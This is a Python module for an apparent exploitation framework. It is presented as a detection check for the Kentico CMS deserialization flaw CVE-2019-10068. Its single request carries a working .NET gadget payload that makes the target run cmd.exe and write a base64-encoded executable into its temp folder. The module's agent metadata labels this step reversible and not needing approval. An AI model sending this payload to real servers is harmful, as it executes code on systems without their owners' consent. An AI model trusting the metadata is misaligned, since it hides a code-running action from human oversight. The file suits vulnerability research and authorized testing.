Kentico CMS Insecure Deserialization Remote Code Execution Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kentico CMS is susceptible to remote code execution via a ."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Kentico CMS Insecure Deserialization Remote Code Execution Detection',
        'description': 'Kentico CMS is susceptible to remote code execution via a .NET deserialization vulnerability.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2019', 'kentico', 'iis', 'packetstorm', 'rce', 'deserialization', 'kev', 'msf', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/',
            'https://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-10068',
            'https://github.com/rapid7/metasploit-framework/pull/13107',
            'http://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html',
        ],
        'cve': 'CVE-2019-10068',
    }

    def run(self):
        path = '/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='stagingTaskData=%3cSOAP-ENV%3aEnvelope%20xmlns%3axsi%3d%22http%3a//www.w3.org/2001/XMLSchema-instance%22%20xmlns%3axsd%3d%22http%3a//www.w3.org/2001/XMLSchema%22%20xmlns%3aSOAP-ENC%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%20xmlns%3aSOAP-ENV%3d%22http%3a//schemas.xmlsoap.org/soap/envelope/%22%20xmlns%3aclr%3d%22http%3a//schemas.microsoft.com/soap/encoding/clr/1.0%22%20SOAP-ENV%3aencodingStyle%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%3e%0a%20%20%3cSOAP-ENV%3aBody%3e%0a%20%20%20%20%3ca1%3aWindowsIdentity%20id%3d%22ref-1%22%20xmlns%3aa1%3d%22http%3a//schemas.microsoft.com/clr/nsassem/System.Security.Principal/mscorlib%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db77a5c561934e089%22%3e%0a%20%20%20%20%20%20%3cSystem.Security.ClaimsIdentity.actor%20id%3d%22ref-2%22%20xmlns%3d%22%22%20xsi%3atype%3d%22xsd%3astring%22%3eAAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAALoXL2MgZWNobyBUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTZBQUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUNUT1BEVzExbWVoZGRabm9YWFdaNkZyRVdTaGROWm5vVlVSWkNGM2xtZWhiaEdsSVhjV1o2RnVFYWFoZFJabm9YWFdaK0ZIbG1laFZSUnc0WGZXWjZGZzNxdWhmOVpub1VRWDVpRjFsbWVoVkpwWTJqWFdaNkZBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQkZBQUJNQVFRQU81UnRTZ0FBQUFBQUFBQUE0QUFQQVFzQkJnQUFzQUFBQUtBQUFBQUFBQUNiaFFBQUFCQUFBQURBQUFBQUFFQUFBQkFBQUFBUUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBQUFHQUJBQUFRQUFBQUFBQUFBZ0FBQUFBQUVBQUFFQUFBQUFBUUFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFiTWNBQUhnQUFBQUFVQUVBeUFjQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9EQkFBQWNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQURnQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQUJtcVFBQUFCQUFBQUN3QUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXlaR0YwWVFBQTVnOEFBQURBQUFBQUVBQUFBTUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1WkdGMFlRQUFBRnh3QUFBQTBBQUFBRUFBQUFEUUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFEQUxuSnpjbU1BQUFESUJ3QUFBRkFCQUFBUUFBQUFFQUVBQUFBQUFBQUFBQUFBQUFBQVFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE%2bPiVURU1QJVxock9YVy5iNjQGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDQAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA%2bU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw%3d%3d%3c/System.Security.ClaimsIdentity.actor%3e%0a%20%20%20%20%3c/a1%3aWindowsIdentity%3e%0a%20%20%3c/SOAP-ENV%3aBody%3e%0a%3c/SOAP-ENV%3aEnvelope%3e')
        if not r or r.status_code != 500:
            return False
        body = r.text or ""
        body_all = ('System.InvalidCastException', 'System.Web.Services.Protocols.SoapException',)
        if all(m in body for m in body_all):
            self.set_info(
                severity='critical',
                reason='Kentico CMS Insecure Deserialization Remote Code Execution detected',
                path=path,
            )
            return True
        return False